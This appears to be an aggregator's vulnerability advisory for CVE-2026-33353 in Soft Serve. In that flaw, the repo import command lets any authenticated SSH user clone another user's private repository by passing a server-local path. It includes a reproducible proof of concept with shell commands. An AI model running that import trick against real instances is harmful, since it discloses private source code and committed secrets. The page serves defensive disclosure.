🛡️ CVE-2026-33353 — soft-serve

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-200 NVD
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

In Soft Serve, an authenticated repo import can clone server-local private repositories

Summary

An authorization flaw in repo import allows any authenticated SSH user to clone a server-local Git repository, including another user's private repo, into a new repository they control. This breaks the private-repository confidentiality boundary and should be treated as High severity.

Details

Repo import checks authorization only for the destination repository name, not for the source remote. The destination-side authorization comes from [pkg/ssh/cmd/cmd.go:172](https://github.com/charmbracelet/soft-serve/blob/main/pkg/ssh/cmd/cmd.go#L172), which calls [pkg/backend/user.go:46](https://github.com/charmbracelet/soft-serve/blob/main/pkg/backend/user.go#L46). If the destination repo does not already exist, any authenticated user is granted ReadWriteAccess at [pkg/backend/user.go:94](https://github.com/charmbracelet/soft-serve/blob/main/pkg/backend/user.go#L94).

The import command then passes the user-controlled REMOTE into [pkg/backend/repo.go:102](https://github.com/charmbracelet/soft-serve/blob/main/pkg/backend/repo.go#L102). In vulnerable HEAD, git.Clone(remote, rp, copts) is reached without validating that remote is actually a network remote. As a result, a user can supply a server filesystem path such as $DATA_PATH/repos/secret.git and cause the server to clone its own local bare repository into a new repo owned by the attacker.

The relevant vulnerable flow is:

  • [pkg/ssh/cmd/import.go](https://github.com/charmbracelet/soft-serve/blob/main/pkg/ssh/cmd/import.go)
  • [pkg/ssh/cmd/cmd.go:172](https://github.com/charmbracelet/soft-serve/blob/main/pkg/ssh/cmd/cmd.go#L172)
  • [pkg/backend/user.go:94](https://github.com/charmbracelet/soft-serve/blob/main/pkg/backend/user.go#L94)
  • [pkg/backend/repo.go:102](https://github.com/charmbracelet/soft-serve/blob/main/pkg/backend/repo.go#L102)

PoC

Configuration:

  • Default local test configuration is sufficient.
  • SSH must be enabled.
  • At least two users are needed: one owner/admin and one low-privilege authenticated user.

Reproduction steps:

1. Start Soft Serve.

2. As an admin, create a private repo:

```sh

soft repo create secret -p

```

3. Create a second low-privilege user:

```sh

soft user create user1 --key "$USER1_AUTHORIZED_KEY"

```

4. Seed the private repo with secret content:

```sh

git clone ssh://localhost:$SSH_PORT/secret secret

echo 'top secret' > secret/SECRET.txt

git -C secret add SECRET.txt

git -C secret commit -m 'first'

git -C secret push origin HEAD

```

5. Confirm the low-privilege user cannot access the private repo directly:

```sh

usoft repo info secret

```

Expected result:

```text

Error: repository not found

```

6. As the low-privilege user, import the server-local bare repo path into a new repo:

```sh

usoft repo import stolen "$DATA_PATH/repos/secret.git" --lfs-endpoint http://example.com

```

7. Clone the attacker-controlled imported repo and read the secret:

```sh

ugit clone ssh://localhost:$SSH_PORT/stolen stolen-clone

cat stolen-clone/SECRET.txt

```

Expected result:

```text

top secret

```

Notes:

  • The --lfs-endpoint value is needed to avoid later LFS endpoint handling rejecting the local-path import.

Impact

This is an authorization bypass and confidentiality issue.

Any authenticated SSH user on a multi-user Soft Serve instance can duplicate server-local Git repositories into new repositories they own, even when they are not a collaborator and direct access to the original private repo is denied. The primary impact is unauthorized disclosure of private source code and any secrets committed to those repositories.

Impacted parties:

  • Operators hosting Soft Serve for multiple users or teams
  • Owners of private repositories on the same instance
  • Any deployment where untrusted authenticated users can use repo import

Practical impact:

  • Theft of private source code
  • Disclosure of secrets committed to private repos
  • Exposure of unreleased or internal projects
  • Possible follow-on supply-chain risk if stolen code contains credentials or release material

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity none, availability none.

Weakness class

CVE-2026-33353 is classified as CWE-200: Exposure of Sensitive Information. Information that should stay internal is disclosed to someone who is not authorised to see it.

Affected software

CVE-2026-33353 is recorded against 2 packages.

  • github.com/charmbracelet/soft-serve
  • soft-serve (from 0.6.0 up to 0.11.6)

Timeline and source

Published on 19 March 2026 and last revised on 27 March 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)
github.com (Web)

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CWE CWE-200
Public Exploit ✅ No
Source NVD
Published 2026-03-19
Updated 2026-08-12
Modified 2026-03-27

Affected Packages

Software From version Fixed in
github.com/charmbracelet/soft-serve
soft-serve 0.6.0 0.11.6

Similar Threats

Site Security Check

Is soft-serve part of your stack?

CVE-2026-33353 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026